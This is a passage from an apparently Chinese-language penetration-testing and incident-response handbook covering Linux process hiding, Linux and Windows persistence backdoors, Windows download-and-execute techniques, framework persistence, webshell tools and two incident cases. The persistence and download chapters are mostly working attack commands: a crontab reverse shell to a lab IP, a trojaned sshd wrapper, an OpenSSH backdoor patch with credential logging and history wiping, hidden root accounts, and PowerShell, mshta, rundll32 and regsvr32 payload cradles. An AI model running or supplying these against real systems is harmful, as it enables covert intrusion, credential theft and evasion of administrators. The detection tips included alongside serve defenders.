# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --
name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name
letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name
letmein --rsource -j LETMEIN
利用方式:
# 开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh 使用 80 端口进行登录
ssh -p 80 root@192.168.28.128
# 关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80 具体文章详见: 远程遥控 IPTables 进行端口复用
0x07 进程隐藏
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
第一种方法: libprocesshider
github 项目地址: https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到 /usr/local/lib/ 目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
测试:运行 evil_script.py 此时发现在 top ps 中都无法找到 evil_script.py cpu 使用率高 , 但是却找不到任何占用 cpu 高的程序。
如何在 Linux 中发现隐藏的进程,
unhide 是一个小巧的网络取证工具,能够发现那些借助 rootkit LKM 及其它技术隐藏的进程和 TCP / UDP 端口。这个
工具在 Linux UNIX 类, MS-Windows 等操作系统下都可以工作。
下载地址: http://www.unhide-forensics.info/ # 安装
sudo yum install unhide
# 使用
unhide [options] test_list
使用 unhide proc 发现隐藏进程 evil_script.py ,如下图所示:
第二种方法:进程注入工具 linux-inject
linux-inject 是用于将共享对象注入 Linux 进程的工具
github 项目地址: https://github.com/gaffe23/linux-inject.git
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so
验证进程注入成功,如下图所示: Cymothoa 是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工
具最大的优点就是不创建新的进程,不容易被发现。
下载地址: https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz
#
cd cymothoa-1-beta && make
0x07 结语
本文主要介绍了 Linux 下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面
的技巧。仅作抛砖引玉之用,欢迎留言分享。
4 篇: Linux 权限维持 -- 后门篇
本文将对 Linux 下常见的权限维持技术进行解析,知己知彼百战不殆。
1 、一句话添加用户和密码
添加普通用户: # 创建一个用户名 guest ,密码 123456 的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令 ,"$()" 也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd 方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e 方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加 root 用户:
# 创建一个用户名 guest ,密码 123456 root 用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -
d /home/test
可疑用户排查技巧:
# 查询特权用户特权用户 (uid 0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# root 帐号外,其他帐号是否存在 sudo 权限。如非管理需要,普通帐号应删除 sudo 权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
2 SUID Shell
Suid shell 是一种可用于以拥有者权限运行的 shell
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
使用 guest 用户登录就可疑获取 root 权限。
备注: bash2 针对 suid 做了一些防护措施,需要使用 -p 参数来获取一个 root shell 。另外,普通用户执行这个 SUID shell
时,一定要使用全路径。
排查技巧: # Linux 中查找 SUID 设置的文件
find . -perm /4000
# Linux 中查找使用 SGID 设置的文件
find . -perm /2000
# 取消 s 权限
chmod u-s /tmp/shell
3 ssh 公私钥免密登录
在客户端上生成一对公私钥,然后把公钥放到服务器上( ~/.ssh/authorized_keys ),保留私钥。当 ssh 登录时, ssh
序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端:
ssh-keygen -t rsa
过程中按三次回车,执行结束如下图 :
进入 /root/.ssh/ 文件夹,查看文件夹的内容,如下所示:
其中 id_rsa 为私钥, id_rsa.pub 为公钥,接下来打开 id_rsa.pub ,将内容复制到服务器。将 id_rsa.pub 的内容
追加到 /root/.ssh/authorized_keys 内,配置完成。
排查技巧:查看 /root/.ssh/authorized_keys 是否被修改。
4 、软连接 sshd 服务配置运行 PAM 认证的前提下, PAM 配置文件中控制标志为 sufficient 时只要 pam_rootok 模块检测 uid 0
root 权限即可成功认证登陆。通过软连接的方式,实质上 PAM 认证是通过软连接的文件名 /tmp/su /etc/pam.d/
录下寻找对应的 PAM 配置文件 ( : /etc/pam.d/su) ,任意密码登陆的核心是 auth sufficient pam_rootok.so ,所以
只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆,除了 su 中之外还有 chsh chfn 同样可以。
在目标服务器上执行一句话后门:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
执行完之后,任何一台机器 ssh root@IP - p 8888 ,输入任意密码,成功登录。
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
5 SSH wrapper
首先启动的是 /usr/sbin/sshd, 脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启
/usr/bin/sshd ,这是原始 sshd 。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进
程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd ,这样子控制权又回到脚本了。此时子进程标准输
入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是 19526 就执行 sh 给个 shell
简单点就是从 sshd fork 出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端: cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端:
socat STDIO TCP4:target_ip:22,sourceport=13377
# 如果你想修改源端口,可以用 python struct 标准库实现。其中 x00x00LF 19526 的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
排查技巧:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装 ssh 服务恢复。
6 strace 后门
通过命令替换动态跟踪系统调用和数据,可以用来记录用户 ssh su sudo 的操作。 #vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc
排查技巧:使用 alias 即可发现异常。
7 crontab 反弹 shell
crontab 命令用于设置周期性被执行的指令。新建 shell 脚本,利用脚本进行反弹。
a 、创建 shell 脚本,例如在 /etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
b crontab -e 设置定时任务
# 每一分钟执行一次
*/1 * * * * root /etc/evil.sh
重启 crond 服务, service crond restart ,然后就可以用 nc 接收 shell 排查技巧:
# 查看可疑的定时任务列表
crontab -e
8 openssh 后门
利用 openssh 后门,设置 SSH 后门密码及 root 密码记录位置,隐蔽性较强,不易被发现。
a 、备份 SSH 配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b 、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
c 、记录用户名和密码的文件位置及其密码
vi includes.h
#define ILOG "/tmp/1.txt" // 记录登录本机的用户名和密码
#define OLOG "/tmp/2.txt" // 记录本机登录远程的用户名和密码
#define SECRETPW "123456789" // 后门的密码
d 、修改版本信息
vi version.h
#define SSH_VERSION " 填入之前记下来的版本号 , 伪装原版本 "
#define SSH_PORTABLE " 小版本号 "
e 、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart f 、对比原来的配置文件,使配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g 、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history // 清空操作日志
排查技巧:利用 strace 找出 ssh 后门 .
# 1 、获取可疑进程 PI
ps aux | grep sshd
# 2 、跟踪 sshd PID
strace -o aa -ff -p PID
# 3 、查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied| grep WR
9 PAM 后门
PAM Pluggable Authentication Modules )是由 Sun 提出的一种认证机制。它通过提供一些动态链接库和一套统一的
API ,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证
方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。 PAM 最初是集成在 Solaris 中,目前已移植到其它系
统中,如 Linux SunOS HP-UX 9.0 等。
利用方法 :
1 、获取目标系统所使用的 PAM 版本,下载对应版本的 pam 版本
2 、解压缩,修改 pam_unix_auth.c 文件,添加万能密码
3 、编译安装 PAM
4 、编译完后的文件在: modules/pam_unix/.libs/pam_unix.so ,复制到 /lib64/security 中进行替换,即可使用万能密
码登陆,并将用户名密码记录到文件中。
排查技巧:
# 1 、通过 Strace 跟踪 ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2 、检查 pam_unix.so 的修改时间
stat /lib/security/pam_unix.so #32
stat /lib64/security/pam_unix.so #64
10 rookit 后门 Mafix 是一款常用的轻量应用级别 Rootkits ,是通过伪造 ssh 协议漏洞实现远程登陆的特点是配置简单并可以自定义验证
密码和端口号。
利用方法:安装完成后,使用 ssh 用户 @IP -P 配置的端口,即可远程登录。
连接后的截图:
排查技巧:查看端口是否异常, RPM check 查看命令是否被替换。
5 篇: Windows 命令行文件下载方式汇总
当我们通过 Web 渗透获取了一个 Shell ,而且目标主机是 Windows ,我们该怎么去下载后门文件到目标主机上执行呢?
一般来说,实现 Windows 文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行; 第二
种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式 * * ** 另外呢,只
要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。
在这里, * * 本文收集了 15 种常见的文件下载执行的方式,并结合具体案例 ** ,让我们一起来看看是怎么实现的吧。
PowerShell
Bitsadmin
certutil
wget
ipc$ 文件共享
FTP
TFTP
WinScp
msiexec
IEExec
mshta
rundll32
regsvr32
MSXSL.EXE
pubprn.vbs 1 PowerShell
PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。
远程下载文件保存在本地:
powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
远程执行命令:
powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
2 Bitsadmin
bitsadmin 是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
输入以上命令,成功下载文件。
3 certutil 用于备份证书服务,支持 xp-win10 都支持。由于 certutil 下载文件都会留下缓存,所以一般都建议下载完文件后对缓存
进行删除。
注:缓存目录为: "%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
# 下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
# 删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
4 wget
Windows 环境下,可上传免安装的可执行程序 wget.exe 到目标机器,使用 wget 下载文件。
wget.exe 下载: https://eternallybored.org/misc/wget/
wget -O "evil.txt" http://192.168.28.128/imag/evil.txt 5 ipc$ 文件共享
IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可
信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
# 建立远程 IPC 连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
# 复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test 6 FTP
一般情况下攻击者使用 FTP 上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并
不会产生交互动作。
ftp 127.0.0.1
username
password
get file
exit
7 TFTP
用来下载远程文件的最简单的网络协议,它基于 UDP 协议而实现
tftp32 服务端下载地址: http://tftpd32.jounin.net/tftpd32_download.html
tftp -i 你的 IP get 要下载文件 存放位置 8 WinScp
WinSCP 是一个 Windows 环境下使用 SSH 的开源图形化 SFTP 客户端。
# 上传
winscp.exe /console /command "option batch continue" "option confirm off" "open
sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit"
/log=log_file.txt
# 下载
winscp.exe /console /command "option batch continue" "option confirm off" "open
sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\"
"exit" /log=log_file.tx
使用 winscp.exe 作为命令行参数执行远程上传 / 下载操作。 9 msiexec
msiexec 支持远程下载功能,将 msi 文件上传到服务器,通过如下命令远程执行:
# 生成 msi
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
# 远程执行
msiexec /q /i http://192.168.28.128/evil.msi
成功添加了一个 test 用户:
10 IEExec
IEexec.exe 应用程序是 .NET Framework 附带程序,存在于多个系统白名单内。
生成 Payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
使用管理员身份打开 cmd ,分别运行下面两条命令。
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe 11 mshta
mshta 用于执行 .hta 文件,而 hta HTML Applocation 的缩写,也就是 HTML 应用程序。而 hta 中也支持 VBS 。所以我们
可以利用 hta 来下载文件。
mshta http://192.168.28.128/run.hta
run.hta 内容如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML> 12 rundll32
其实还是依赖于 WScript.shell 这个组件,在这里我们使用 JSRat 来做演示, JSRat 是一个命令和控制框架,仅为
rundll32.exe regsvr32.exe 生成恶意程序。
项目地址: https://github.com/Hood3dRob1n/JSRat-Py.git
步骤一:开始运行 JSRat ,监听本地 8888 端口。
步骤二:通过 url 访问,可以查看恶意代码。 复制代码如下:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192
.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e)
{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
步骤三:在受害者 PC 运行该代码,将成功返回一个会话,如下图所示:
13 regsvr32
Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运
在目标机上执行:
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
可以通过自己构造 .sct 文件,去下载执行我们的程序
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
执行命令,成功弹计算器: 14 MSXSL.EXE
msxsl.exe 是微软用于命令行下处理 XSL 的一个程序,所以通过他,我们可以执行 JavaScript 进而执行系统命令。
下载地址为: https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受两个文件, XML XSL 文件,可以远程加载,具体方式如下:
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
demo.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
15 pubprn.vbs
Windows 7 以上版本存在一个名为 PubPrn.vbs 的微软已签名 WSH 脚本,其位于
C:\Windows\System32\Printing_Admin_Scripts\en-US ,仔细观察该脚本可以发现其显然是由用户提供输入(通过命
令行参数),之后再将参数传递给 GetObject()
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1
script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a4
7e4075785016a62f7e5170ef36f5247cdb/test.sct
test.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
> </registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
6 篇:三大渗透测试框架权限维持技术
0x00 前言
在渗透测试中,有三个非常经典的渗透测试框架 ----Metasploit Empire Cobalt Strike
那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢?
0x01 MSF 权限维持
使用 MSF 维持权限的前提是先获得一个 meterpreter shell ,通过 meterpreter shell 获取持久性 shell 的方法有两种:
Persistence 模块 通过启动项启动 (persistence) 的方式,在目标机器上以反弹回连。
-U :设置后门在用户登录后自启动。该方式会在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表
信息。推荐使用该参数;
-X :设置后门在系统启动后自启动。该方式会在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表
信息。由于权限问题,会导致添加失败,后门将无法启动。
-S :作为服务自动启动代理程序(具有 SYSTEM 权限)
生成的相关文件位置 :
# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
Metsvc 模块
通过服务 (metsvc) 启动的方式,在目标机器启动后自启动一个服务,等待连接。 后门排查:目标主机上开启了一个 Meterpreter 服务。
0x02 Empire 权限维持
Empire persistence 模块提供了 18 种权限维持的方法,大致可以分为四类,即 elevated (管理权限)
misc (杂项)
powerbreach
userland (用户权限)
registry*
add_netuser
deaduser
backdoor_lnk
schtasks*
add_sid_history*
eventlog*
registry
wmi*
debugger*
resolver
schtasks
wmi_updater*
disable_machine_acct_change*
get_ssps
install_ssp*
memssp*
skeleton_key*
注册表
(Empire: agents) > agents
(Empire: agents) > interact URL3FZBV
(Empire: URL3FZBV) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的 powershell 启动项的框,在注册表位置如下: 计划任务
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) > execute
在任务计划程序库可以看到 - 任务为 Updater- 启动程序如下可以到为 powershell wmi
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > run
如何清除后门,最简单的方法就是使用 Autoruns ,选择 WMI 选项卡,右键就可以删除恶意后门。 0x03 Cobalt Strike 权限维持
通过 Cobalt Strike 拿到一个 shell ,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
Cobalt Strike 菜单栏, Attacks--Web Drive-by--Scaripted Web Delivery ,生成 powershell 后门。 根据需要可以自己选择,填写所需参数默认端口是 80 (需要注意的就是不要使用重复端口), Type 选择 powershell
点击 Launch 后,返回 powershell 远程下载执行命令。
服务自启动后门
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""
sc description Name "Just For Test" // 设置服务的描述字符串
sc config Name start= auto // 设置这个服务为自动启动
net start Name // 启动服务
重启服务器后,成功返回一个 shell 注册表自启动
windows 启动项注册表里面添加一个木马程序路径,如:
beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ
/d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new
object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f
账号注销后,重新登录,界面上会出现 powershell 快速闪过消失,成功返回 shell 注册表还有哪些键值可以设置为自启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
0x04 结束语
本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去
发现并解决服务器安全问题。
7 篇:常见 WebShell 管理工具
攻击者在入侵网站时,通常要通过各种方式写入 Webshell ,从而获得服务器的控制权限,比如执行系统命令、读取配置
文件、窃取用户数据,篡改网站页面等操作。
本文介绍十款常用的 Webshell 管理工具,以供你选择,你会选择哪一个?
1 、中国菜刀 (Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀
来进行管理!在非简体中文环境下使用,自动切换到英文界面。 UNICODE 方式编译,支持多国语言输入显示。 2 、蚁剑 (AntSword)
AntSword 是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和 / 或授权的安全研究人员
以及网站管理员的需求。
github 项目地址: https://github.com/AntSwordProject/antSword
3 C (Cknife)
这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义。 github 项目地址: https://github.com/Chora10/Cknife
4 、冰蝎 (Behinder)
冰蝎 是一款动态二进制加密网站管理客户端。
github 地址: https://github.com/rebeyond/Behinder
5 Xise XISE WebShell 管理工具。
6 Altman
Altman3 是一款渗透测试软件,基于 .Net4.0 开发,依托 Eto.Form 可以完美运行在 Windows Linux Mac 等多个平台。
github 项目地址: https://github.com/keepwn/Altman 7 Weevely
Weevely 是一种 Python 编写的 webshell 管理工具,跨平台,只支持 PHP
github 项目地址: https://github.com/epinna/weevely3
用法示例:
weevely generate <password> <path>
weevely <URL> <password> [cmd]
同时,在 Kali 2.0 版本下,集成了三款 Web 后门工具: WebaCoo weevely PHP Meterpreter 8 QuasiBot
QuasiBot 是一款 php 编写的 webshell 管理工具,可以对 webshell 进行远程批量管理。
github 项目地址: https://github.com/Smaash/quasibot
9 Webshell-Sniper
这是一款基于终端的 webshell 管理工具,仅支持在类 Unix 系统上运行。
github 项目地址: https://github.com/WangYihang/Webshell-Sniper
用法示例: Usage :
python webshell-sniper.py [URL] [METHOD] [AUTH]
Example :
python webshell-sniper.py http://127.0.0.1/c.php POST c
10 WebshellManager
一款用 PHP+Mysql 写的一句话 WEB 端管理工具,目前仅支持对 PHP 的一句话进行操作。
github 项目地址: https://github.com/boy-hack/WebshellManager
我在知识星球发起了一个小讨论,也收集到了一些 webshell 管理工具,如 hatchet K8 飞刀、 lanker ,欢迎补充。 第四章 : Windows 实战篇
1 篇: FTP 暴力破解
0x00 前言
FTP 是一个文件传输协议,用户通过 FTP 可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、日常源码备
份等。如果攻击者通过 FTP 匿名访问或者弱口令获取 FTP 权限,可直接上传 webshell ,进一步渗透提权,直至控制整个
网站服务器。
0x01 应急场景
从昨天开始,网站响应速度变得缓慢,网站服务器登录上去非常卡,重启服务器就能保证一段时间的正常访问,网站响
应状态时而飞快时而缓慢,多数时间是缓慢的。针对网站服务器异常,系统日志和网站日志,是我们排查处理的重点。
查看 Window 安全日志,发现大量的登录失败记录:
0x02 日志分析
安全日志分析:
安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么。
打开安全日志,在右边点击筛选当前日志, 在事件 ID 填入 4625 ,查询到事件 ID4625 ,事件数 177007 ,从这个数据可以
看出,服务器正则遭受暴力破解: 进一步使用 Log Parser 对日志提取数据分析,发现攻击者使用了大量的用户名进行爆破,例如用户名: fxxx ,共计进行
17826 次口令尝试,攻击者基于 “fxxx” 这样一个域名信息,构造了一系列的用户名字典进行有针对性进行爆破,如下
图:
这里我们留意到登录类型为 8 ,来了解一下登录类型 8 是什么意思呢?
登录类型 8 :网络明文( NetworkCleartext 这种登录表明这是一个像类型 3 一样的网络登录,但是这种登录的密码在网络上是通过明文传输的, WindowsServer
务是不允许通过明文验证连接到共享文件夹或打印机的,据我所知只有当从一个使用 Advapi ASP 脚本登录或者一个用
户使用基本验证方式登录 IIS 才会是这种登录类型。 登录过程 栏都将列出 Advapi
我们推测可能是 FTP 服务,通过查看端口服务及管理员访谈,确认服务器确实对公网开放了 FTP 服务。
另外,日志并未记录暴力破解的 IP 地址,我们可以使用 Wireshark 对捕获到的流量进行分析,获取到正在进行爆破的
IP
通过对近段时间的管理员登录日志进行分析,如下: 管理员登录正常,并未发现异常登录时间和异常登录 ip ,这里的登录类型 10 ,代表远程管理桌面登录。
另外,通过查看 FTP 站点,发现只有一个测试文件,与站点目录并不在同一个目录下面,进一步验证了 FTP 暴力破解并未
成功。
应急处理措施: 1 、关闭外网 FTP 端口映射 2 、删除本地服务器 FTP 测试 0x04 处理措施
FTP 暴力破解依然十分普遍,如何保护服务器不受暴力破解攻击,总结了几种措施:
1 、禁止使用 FTP 传输文件,若必须开放应限定管理 IP 地址并加强口令安全审计(口令长度不低于 8 位,由数字、大小写字母、特殊
字符等至少两种以上组合构成)。
2 、更改服务器 FTP 默认端口。
3 、部署入侵检测设备,增强安全防护。
2 篇:蠕虫病毒
0x00 前言
蠕虫病毒是一种十分古老的计算机病毒,它是一种自包含的程序(或是一套程序),通常通过网络途径传播,每入侵到
一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序。
常见的蠕虫病毒:熊猫烧香病毒 、冲击波 / 震荡波病毒、 conficker 病毒等。
0x01 应急场景
某天早上,管理员在出口防火墙发现内网服务器不断向境外 IP 发起主动连接,内网环境,无法连通外网,无图脑补。
0x02 事件分析
在出口防火墙看到的服务器内网 IP ,首先将中病毒的主机从内网断开,然后登录该服务器,打开 D _web 查杀查看端口
连接情况,可以发现本地向外网 IP 发起大量的主动连接:
通过端口异常,跟踪进程 ID ,可以找到该异常由 svchost.exe windows 服务主进程引起, svchost.exe 向大量远程 IP
445 端口发送请求: 这里我们推测可以系统进程被病毒感染,使用卡巴斯基病毒查杀工具,对全盘文件进行查杀,发现
c:\windows\system32\qntofmhz.dll 异常:
使用多引擎在线病毒扫描( http://www.virscan.org/ ) 对该文件进行扫描 : 确认服务器感染 conficker 蠕虫病毒,下载 conficker 蠕虫专杀工具对服务器进行清查,成功清楚病毒。
大致的处理流程如下 :
1 、发现异常:出口防火墙、本地端口连接情况,主动向外网发起大量连接
2 、病毒查杀:卡巴斯基全盘扫描,发现异常文件
3 、确认病毒:使用多引擎在线病毒对该文件扫描,确认服务器感染 conficker 蠕虫病毒。
4 、病毒处理:使用 conficker 蠕虫专杀工具对服务器进行清查,成功清除病毒。
0x04 防范措施
在政府、医院内网,依然存在着一些很古老的感染性病毒,如何保护电脑不受病毒感染,总结了几种预防措施: 1 、安装杀毒软件,定期全盘扫描
2 、不使用来历不明的软件,不随意接入未经查杀的 U
3 、定期对 windows 系统漏洞进行修复,不给病毒可乘之机
4 、做好重要文件的备份,备份,备份。
3 篇:勒索病毒
0x00 前言
勒索病毒,是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一
